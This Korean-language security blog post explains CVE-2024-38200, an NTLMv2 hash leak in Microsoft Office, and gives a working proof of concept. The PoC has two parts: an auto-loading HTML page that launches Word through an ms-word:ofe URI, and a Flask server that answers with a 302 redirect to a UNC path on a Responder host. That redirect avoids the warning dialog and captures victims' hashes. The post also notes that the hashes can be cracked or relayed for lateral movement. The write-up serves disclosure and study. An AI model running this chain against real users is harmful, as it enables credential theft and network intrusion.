[하루한줄] CVE-2024-38200: Microsoft Office NTLMv2 Leak Vulnerability

URL

Target

  • Microsoft 365 Apps for Enterprise for 32-bit Systems
  • Microsoft 365 Apps for Enterprise for 64-bit Systems
  • Microsoft Office 2016 (32-bit edition) 16.0.5461.1001, 16.0.5461.1000 이하
  • Microsoft Office 2016 (64-bit edition) 16.0.5461.1001, 16.0.5461.1000 이하
  • Microsoft Office 2019 for 32-bit editions Version 2407 (Build 17830.20166)
  • Microsoft Office 2019 for 64-bit editions Version 2407 (Build 17830.20166)
  • Microsoft Office LTSC 2021 for 32-bit editions Version 2108 (Build 14332.20763)
  • Microsoft Office LTSC 2021 for 64-bit editions Version 2108 (Build 14332.20763)

Explain

Microsoft Office 에서 NTLMv2 Hash 를 Leak 할 수 있는 취약점이 발견되었습니다. victim 이 특정한 URI scheme 을 클릭하고 오피스를 실행시킨다면 victim 의 NTLMv2 Hash 가 탈취당할 수 있습니다.

Windows 에서는 UNC Path 라는게 있는데요. 공유폴더를 사용할 때 \\[네트워크 주소]\[경로] 와 같은 형태의 경로를 사용하신 적이 있을겁니다. 이러한 경로를 UNC Path 라 하고 이 경로로 접근하면 자동으로 Windows 의 인증 과정이 이뤄집니다.

UNC Path 에서의 인증에서 볼 수 있듯, Windows 는 공유폴더를 사용하지 않더라도 인증이 필요한 상황일 때 NTLM hash 를 전달하며 인증 과정을 수행합니다. MS Office 에서는 ms-word:ofe|u|http:// 와 같은 URI Scheme 을 써서 외부 문서를 열 수 있습니다.

ms-word:ofe|u|http://test.local:8080/leak/leak.docx
ms-excel:ofe|u|http://test.local:8080/leak/leak.docx

위의 URI scheme 을 바로 접근하면 경고창이 발생합니다. 이 경고창을 안뜨게 하는 방법이 있을까요? 굉장히 심플한 아이디어로 우회할 수 있는데요. 워드 문서에 첨부하는 URI Scheme 서버에서 302를 내려주고 Location 으로 UNC 경로를 주는 것입니다!

PoC 설명

먼저 트리거시킬 html 에서는 ms-word:ofe|u|http:// Scheme 을 사용하여 MS Word 를 실행시키도록 합니다. 이 Scheme 에서 지정하는 hostname 과 port 는 별도 flask 서버의 주소를 기재합니다.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Microsoft Office</title>
</head>
<body>
    <a id="link" href="ms-word:ofe|u|http://hostname:port/leak.docx"></a>

    <script>
        function navigateToLink() {
            var link = document.getElementById('link');
            if (link) {
                var url = link.getAttribute('href');
                window.location.href = url;
            }
        }
        window.onload = navigateToLink;
    </script>
</body>
</html>

flask 서버에서는 Location 헤더에 UNC Path 를 에 둔 302 response 를 응답하도록 합니다.
UNC Path 에는 Responder 도구의 주소를 두어 NTLMv2 hash 를 캡처할 수 있도록 합니다.

from flask import Flask, make_response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def redirect_to_unc(path):
    unc_path = r'\\\\\\\\IPaddress\\\\test.docx'

    response = make_response('', 302)
    response.headers['Location'] = unc_path
    return response

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

이러면 경고창도 안뜨고 NTLMv2 hash 를 캡처할 수 있습니다. NTLMv2 hash 는 프로토콜 상 원래 NTLM hash 로 암호화된 Response 값이기에 이를 크랙하여 NTLM hash 를 얻거나, response 를 relay 하여 Lateral Movement 를 시도할 수도 있습니다.



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.